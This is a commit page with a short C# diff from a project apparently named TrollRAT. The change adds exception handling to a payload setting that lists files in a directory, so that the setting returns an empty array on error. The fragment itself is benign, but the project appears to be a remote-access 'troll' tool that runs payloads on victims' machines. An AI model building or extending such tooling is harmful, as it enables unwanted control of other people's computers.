Exception handling for PayloadSettingSelectFile

This commit is contained in:
Leurak 2016-08-17 12:33:57 +02:00
parent 0a6a452c27
commit a4e8636834

View file

@ -228,10 +228,15 @@ namespace TrollRAT.Payloads
{
get
{
if (pattern == null)
return Directory.GetFiles(baseDirectory);
else
return Directory.GetFiles(baseDirectory, pattern);
try
{
if (pattern == null)
return Directory.GetFiles(baseDirectory);
else
return Directory.GetFiles(baseDirectory, pattern);
} catch (Exception) {
return new string[0];
}
}
set { throw new NotSupportedException(); }
}